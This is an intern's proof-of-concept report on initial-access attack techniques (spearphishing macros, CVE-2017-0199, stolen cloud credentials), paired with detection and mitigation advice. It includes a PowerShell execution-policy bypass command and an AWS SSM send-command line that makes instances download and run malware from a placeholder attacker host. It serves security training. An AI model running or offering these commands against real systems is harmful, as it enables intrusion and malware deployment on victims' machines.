NAME: NIKHIL BAGUL **INTERNID:277**

Proof of Concept – Adversary Initial Access

Tactic: Initial Access (TA0001)

The primary objective of this Proof of Concept (PoC) is to demonstrate the methods used by an adversary to achieve

Initial Access (TA0001). As defined by the MITRE ATT&CK® framework and outlined in the provided documents, this tactic represents the overall strategy an attacker uses to gain an initial entry point into a target network. Successfully gaining this foothold is the critical first step that enables all subsequent malicious activities, including execution, data theft, and ransomware deployment.

This document outlines a structured PoC that combines multiple techniques to reflect the complexity of real-world attacks. The effectiveness of this PoC lies in its multi-faceted approach; it blends social engineering, direct software vulnerability exploitation, and the abuse of cloud infrastructure. This demonstrates how adversaries can target different layers of an organization's attack surface, from the human element to cloud misconfigurations.

The specific techniques chosen for this PoC are:

- **T1566.001 – Phishing: Spearphishing Attachment:** A common technique that uses social engineering to trick a user into executing a malicious file.
- **T1203 – Exploitation for Client Execution:** A more technical method that leverages a software vulnerability to execute code on a victim's machine.
- **T1078 – Valid Accounts (Cloud Accounts):** An increasingly prevalent technique that involves using legitimate, albeit stolen, credentials to access and control cloud resources.

By detailing the step-by-step procedures for each of these techniques, this PoC serves as a practical guide for understanding and defending against modern initial access threats.

Deep Dive into Initial Access Procedures

This section provides the granular, step-by-step procedures an adversary would follow to execute each of the three initial access techniques.

Technique 1: T1566.001 – Phishing: Spearphishing Attachment

This procedure targets an organization's employees directly, using deception to turn them into unwitting accomplices.

- **Procedure:**
    1. **Reconnaissance:** The adversary first identifies high-value targets within the organization, such as employees in HR or Finance. They collect email addresses for these targets using publicly available sources like LinkedIn or from previously compiled data breach archives.
    2. **Weaponization:** A malicious payload is created, often using a tool like msfvenom to generate a reverse shell executable (payload.exe). This payload is then embedded as

a macro within a Microsoft Word document. The email itself is carefully crafted to appear as legitimate business correspondence, such as an invoice or a job offer.

3. **Delivery:** The adversary sends the spearphishing email with the malicious Word document attached to the targeted employees. Tools like GoPhish or King Phisher may be used to manage the delivery campaign and track open rates.

4. **Execution:** The user receives the email and opens the attached document. The document prompts them to "Enable Content" to view it properly. If the user complies, the embedded macro is triggered, which in turn executes a PowerShell command. The command,

powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1, is designed to bypass local security policies and run a script that downloads and executes the final malware payload.

Technique 2: T1203 – Exploitation for Client Execution

This technique bypasses the need for user interaction (beyond opening a file) by exploiting a software vulnerability.

- **Procedure:**

    1. **Vulnerability Identification:** The attacker selects a known client-side software vulnerability to exploit. A frequently used example is CVE-2017-0199, a remote code execution flaw in Microsoft Office.

    2. **Exploit Creation:** A malicious document, typically a Word RTF file, is crafted to exploit the chosen vulnerability. Instead of a macro, the document contains an embedded link that points to an attacker-controlled server.

    3. **Delivery:** The malicious document is delivered to the target via an email attachment, similar to the phishing technique.

    4. **Exploitation:** When the user opens the document, the vulnerability within Microsoft Office is triggered automatically. The application makes a request to the attacker's server, downloads a malicious file (e.g., an HTA file with script code), and executes it. This action installs a reverse shell or a command-and-control beacon on the target machine, giving the attacker control.

Technique 3: T1078 – Valid Accounts (Cloud Accounts)

This highly effective technique bypasses traditional perimeter defenses by using legitimate credentials to access cloud resources.

- **Procedure:**

    1. **Credential Acquisition:** The attacker obtains valid cloud credentials, such as AWS or Azure administrator keys. These are often purchased from dark web marketplaces or discovered in publicly accessible code repositories where they were accidentally hardcoded.

    2. **Cloud Portal Access:** Using the stolen credentials, the attacker logs directly into the victim’s cloud management console, such as the AWS Console or Azure Portal.

3. **Command Execution:** The attacker leverages built-in cloud management tools to execute commands on virtual machines within the environment. Using AWS Systems Manager (SSM), for instance, they can remotely run PowerShell scripts on target instances without ever logging into the guest OS. The command would look like this:

aws ssm send-command --instance-ids i-abc123 --document-name AWS-RunPowerShellScript --parameters 'commands=["Invoke-WebRequest http://malicious.server/payload.exe -OutFile C:\\temp\\malware.exe","Start-Process C:\\temp\\malware.exe"]'.

4. **Payload Deployment:** The command forces the virtual machine to download and execute malware from the attacker's server. This malware is now running silently within the victim's cloud environment, often with high privileges.

Comprehensive Detection and Mitigation Strategies

A defense-in-depth strategy is essential for detecting and mitigating the diverse techniques used for initial access.

Defending Against Phishing (T1566.001)

- **Detection:**
    - **Email Gateway:** Implement email security solutions to filter for malicious attachments and scan for macros.
    - **Endpoint Logging:** Enable PowerShell Script Block Logging to record the content of scripts being executed. Log and alert on parent-child process relationships, specifically when a Microsoft Office application spawns a

powershell.exe process.

- **Mitigation:**
    - **Macro Policy:** The most effective control is to disable Office macros by default via Group Policy. For users who require macros, enforce policies that only allow them to run from trusted and signed templates.
    - **User Training:** Conduct regular, mandatory security awareness training that teaches users how to identify and report phishing emails and understand the risks associated with enabling macros.

Defending Against Client Exploitation (T1203)

- **Detection:**
    - **EDR Alerts:** Use an Endpoint Detection and Response (EDR) tool to monitor for signs of exploitation, such as unexpected network connections from Office applications or unusual process creation.
    - **Crash Reports:** Monitor for and analyze application crash reports, as a failed exploit attempt can often cause the targeted application to terminate unexpectedly.
- **Mitigation:**

- **Patch Management:** A rigorous and timely patch management program is critical. Ensure all client-side applications, particularly Microsoft Office, are kept up-to-date with the latest security patches to close known vulnerabilities.
- **Attack Surface Reduction (ASR):** Implement ASR rules to block high-risk behaviors, such as preventing Office applications from creating executable content or launching child processes.

Defending Against Valid Account Abuse (T1078)

- **Detection:**
  - **Cloud Activity Monitoring:** Continuously monitor cloud activity logs (e.g., AWS CloudTrail) for anomalies. Alert on suspicious logins from unusual IP addresses or geographic locations.
  - **Administrative Tool Usage:** Specifically create alerts for the use of powerful administrative tools like AWS SSM send-command or Azure RunCommand, especially when they are invoked by unusual users or on sensitive instances.
- **Mitigation:**
  - **Multi-Factor Authentication (MFA):** Enforce MFA on all cloud accounts, especially for administrative roles. This is the single most effective control against the use of stolen credentials.
  - **Least Privilege Policy:** Strictly adhere to the principle of least privilege. Ensure users and service roles have only the minimum permissions necessary to perform their functions.
  - **Credential Management:** Rotate credentials regularly. Avoid hardcoding credentials in code. Instead, use secure secret management tools and consider implementing Just-in-Time (JIT) access to grant temporary, expiring permissions for privileged operations.